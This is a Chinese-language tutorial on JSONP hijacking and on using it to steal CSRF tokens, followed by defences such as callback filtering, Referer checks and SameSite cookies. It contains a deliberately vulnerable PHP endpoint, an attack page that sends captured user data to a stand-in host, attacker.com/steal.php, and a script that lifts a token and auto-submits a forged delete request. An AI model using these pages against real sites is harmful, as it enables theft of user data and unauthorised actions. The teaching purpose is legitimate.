JSONP绕过CSRF防护token
字数 1140 2025-08-26 22:11:45
JSONP绕过CSRF防护token技术分析
1. JSONP基础概念
1.1 什么是JSONP
JSONP(JSON with Padding)是JSON的一种"使用模式",允许网页从其他域名(网站)获取数据,实现跨域读取数据。其基本语法形式为:
callback({ "name": "kwan", "msg": "获取成功" });
1.2 JSONP工作原理
- 动态插入带有跨域URL的
<script>标签 - 调用回调函数
- 将JSON数据作为参数传入回调函数
- 通过前端逻辑处理并显示数据
典型JSONP请求示例:
http://www.test.com/index.html?jsonpcallback=hehe
2. JSONP劫持漏洞
2.1 漏洞原理
攻击者可以劫持callback参数,构造自定义回调函数。当受害者访问恶意页面时,会向目标JSONP接口发起请求,返回的数据由攻击者控制的回调函数处理。
2.2 漏洞复现示例
服务端代码(JSONP_callback.php):
<?php
header('Content-type: application/json');
$callback = $_GET["callback"];
$json_data = '{"customername1":"user1","password":"12345678"}';
echo $callback . "(" . $json_data . ")";
?>
攻击页面代码:
<html>
<head>
<script>
function hehehe(obj){
alert(obj["password"]);
var myForm = document.createElement("form");
myForm.action="http://attacker.com/steal.php";
myForm.method = "GET";
for (var k in obj) {
var myInput = document.createElement("input");
myInput.setAttribute("name", k);
myInput.setAttribute("value", obj[k]);
myForm.appendChild(myInput);
}
document.body.appendChild(myForm);
myForm.submit();
document.body.removeChild(myForm);
}
</script>
</head>
<body>
<script src="http://victim.com/JSONP_callback.php?callback=hehehe"></script>
</body>
</html>
2.3 攻击流程
- 受害者访问攻击者构造的恶意页面
- 页面自动请求目标JSONP接口
- 返回数据被攻击者定义的回调函数处理
- 敏感信息被窃取并发送到攻击者服务器
3. 利用JSONP绕过CSRF Token防护
3.1 攻击场景
当目标网站同时满足以下条件时,可利用JSONP绕过CSRF Token防护:
- 存在JSONP劫持漏洞
- 关键操作页面源码中包含Token
- 没有Referer防护或Referer可绕过
3.2 攻击实现
攻击页面代码:
<html>
<head>
<title>CSRF攻击页面</title>
</head>
<body>
<div id="test"></div>
<script>
function test(obj){
var content = obj['html'];
var token = content.match('token = "(.*?)"')[1];
var parent = document.getElementById("test");
var child = document.createElement("form");
child.method = "POST";
child.action = "http://victim.com/del.html";
child.id = "test1";
parent.appendChild(child);
var parent_1 = document.getElementById("test1");
var child_1 = document.createElement("input");
child_1.type = "hidden";
child_1.name = "token";
child_1.value = token;
parent_1.appendChild(child_1);
child.submit();
}
</script>
<script src="http://victim.com/caozuo.html?htmlcallback=test"></script>
</body>
</html>
3.3 攻击步骤
- 识别目标网站JSONP端点(如htmlcallback/jscallback参数)
- 通过JSONP获取包含Token的页面源码
- 使用正则表达式提取Token值
- 动态构建表单并自动提交
- 完成CSRF攻击
4. 防护措施
4.1 针对JSONP劫持的防护
-
严格实现CSRF防护:
- 验证Referer头
- 使用一次性Token
-
规范JSON输出:
- 设置正确的Content-Type(
application/json; charset=utf-8) - 严格过滤callback函数名和JSON数据输出
- 设置正确的Content-Type(
-
限制callback长度:
- 防止利用过长的callback参数进行XSS攻击
-
添加干扰字符:
- 在callback输出前添加
/**/或换行符 - 使用
while(1);等前缀防止直接调用
- 在callback输出前添加
4.2 针对CSRF的增强防护
-
双重Token验证:
- 表单Token + Cookie Token
-
SameSite Cookie属性:
- 设置
SameSite=Strict或SameSite=Lax
- 设置
-
关键操作二次验证:
- 密码确认
- 短信/邮箱验证码